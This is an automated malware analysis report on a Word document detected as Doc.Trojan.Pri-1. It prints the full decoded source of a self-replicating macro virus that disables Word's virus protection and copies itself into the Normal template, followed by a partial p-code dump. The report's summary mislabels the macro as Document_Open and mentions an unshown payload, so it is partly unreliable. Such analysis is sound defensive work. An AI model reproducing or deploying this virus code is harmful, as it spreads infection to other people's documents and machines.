MALICIOUS
180
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a Microsoft Word document with a high-confidence detection for malicious VBA macros, specifically a Document_Open macro. The VBA code appears to be designed to modify the document's code and potentially execute further actions, indicated by the 'Application.Quit SaveChanges:=wdDoNotSaveChanges' call. This suggests the document is a malicious attachment intended to deliver a secondary payload.
Heuristics 3
-
ClamAV: Doc.Trojan.Pri-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Pri-1
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 7832 bytes |
SHA-256: 22e49970c7515ec12bdadbf7e6266347324e048e2088f7035bab6405111f82cc |
|||
|
Detection
ClamAV:
Doc.Trojan.Pri-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Document_Close()
On Error Resume Next
Options.ConfirmConversions = 0: Options.VirusProtection = 0: Options.SaveNormalPrompt = 0
If Day(Now) = Minute(Now) Then
Randomize: For IN5899 = 1 To (Int(Rnd * 70))
ActiveDocument.Shapes.AddShape(Int(Rnd * 120), Int(Rnd * 200), Int(Rnd * 500), Int(Rnd * 500), Int(Rnd * 500)).Select
Selection.ShapeRange.Fill.ForeColor.RGB = RGB(Int(Rnd * 255), Int(Rnd * 255), Int(Rnd * 255))
Selection.ShapeRange.Fill.Visible = msoTrue
Selection.ShapeRange.Fill.Solid: Next IN5899: End If
LR545 = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
GL7390 = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
If Left(ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 3), 3) <> "Pri" Then
Set JO2531 = ActiveDocument.VBProject.VBComponents.Item(1)
OM4917 = True
End If
If Left(NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 3), 3) <> "Pri" Then
Set JO2531 = NormalTemplate.VBProject.VBComponents.Item(1)
CP692 = True
'Call CV627_LG5759
ActiveDocument.Saved = True
End If
If CP692 <> True And OM4917 <> True Then GoTo HV4722
If CP692 = True Then JO2531.CodeModule.AddFromString ("Private Sub Document_Close()" & vbCr & ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(2, LR545 - 1) & vbCr & "Sub ViewVBCode()" & vbCr & "Application.Quit SaveChanges:=wdDoNotSaveChanges" & vbCr & "End Sub")
If OM4917 = True Then JO2531.CodeModule.AddFromString ("Private Sub Document_Open()" & vbCr & NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2, GL7390 - 4))
HV4722:
If GL7390 <> 0 And LR545 = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
ActiveDocument.Saved = True: End If
End Sub 'W97M/PSD.II ...logically delicious! [(c)1998 ALT-F11 code hack]
Sub ViewVBCode()
Application.Quit SaveChanges:=wdDoNotSaveChanges
End Sub
' Processing file: /opt/analyzer/scan_staging/cbeb42a7b1554e29bfa4a1cdf28961cd.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 8645 bytes
' Line #0:
' FuncDefn (Private Sub Document_Close())
' Line #1:
' OnError (Resume Next)
' Line #2:
' LitDI2 0x0000
' Ld Options
' MemSt ConfirmConversions
' BoS 0x0000
' LitDI2 0x0000
' Ld Options
' MemSt VirusProtection
' BoS 0x0000
' LitDI2 0x0000
' Ld Options
' MemSt SaveNormalPrompt
' Line #3:
' Ld Now
' ArgsLd Day 0x0001
' Ld Now
' ArgsLd Minute 0x0001
' Eq
' IfBlock
' Line #4:
' ArgsCall Read 0x0000
' BoS 0x0000
' StartForVariable
' Ld IN5899
' EndForVariable
' LitDI2 0x0001
' Ld Rnd
' LitDI2 0x0046
' Mul
' FnInt
' Paren
' For
' Line #5:
' Ld Rnd
' LitDI2 0x0078
' Mul
' FnInt
' Ld Rnd
' LitDI2 0x00C8
' Mul
' FnInt
' Ld Rnd
' LitDI2 0x01F4
' Mul
' FnInt
' Ld Rnd
' LitDI2 0x01F4
' Mul
' FnInt
' Ld Rnd
' LitDI2 0x01F4
' Mul
' FnInt
' Ld ActiveDocument
' MemLd Shapes
' ArgsMemLd AddShape 0x0005
' ArgsMemCall Set 0x0000
' Line #6:
' Ld Rnd
' LitDI2 0x00FF
' Mul
' FnInt
' Ld Rnd
' LitDI2 0x00FF
' Mul
' FnInt
' Ld Rnd
' LitDI2 0x00FF
' Mul
' FnInt
' ArgsLd RSet 0x0003
' Ld Selection
' MemLd ShapeRange
' MemLd Fill
' MemLd ForeColor
' MemSt RSet
' Line #7:
' Ld msoTrue
' Ld Selection
' MemLd ShapeRange
' MemLd Fill
' MemSt Visible
' Line #8:
' Ld Selection
' MemLd ShapeRange
' MemLd Fill
' ArgsMemCall Solid 0x0000
' BoS 0x0000
' StartForVariable
' Ld IN5899
' EndForVariable
' NextVar
' BoS 0x0000
' EndIfBlock
' Line #9:
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' MemLd VB
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.